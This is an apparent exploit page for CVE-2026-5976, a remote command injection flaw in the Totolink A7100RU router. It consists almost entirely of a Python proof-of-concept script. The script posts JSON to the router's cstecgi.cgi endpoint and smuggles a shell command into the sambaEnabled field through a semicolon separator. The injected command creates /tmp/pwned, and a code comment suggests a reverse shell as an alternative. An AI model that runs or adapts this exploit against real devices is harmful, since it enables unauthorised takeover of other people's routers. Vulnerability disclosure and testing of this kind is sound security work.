CVE-2026-5976 Totolink A7100RU远程命令注入漏洞

#!/usr/bin/env python3 import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Malicious payload to inject command (e.g., create a test file or reverse shell) # The payload injects a command separator ';' payload_data = { "topicurl": "setStorageCfg", "sambaEnabled": "1; touch /tmp/pwned; #" } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } try: response = requests.post(url, json=payload_data, headers=headers, timeout=5) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}")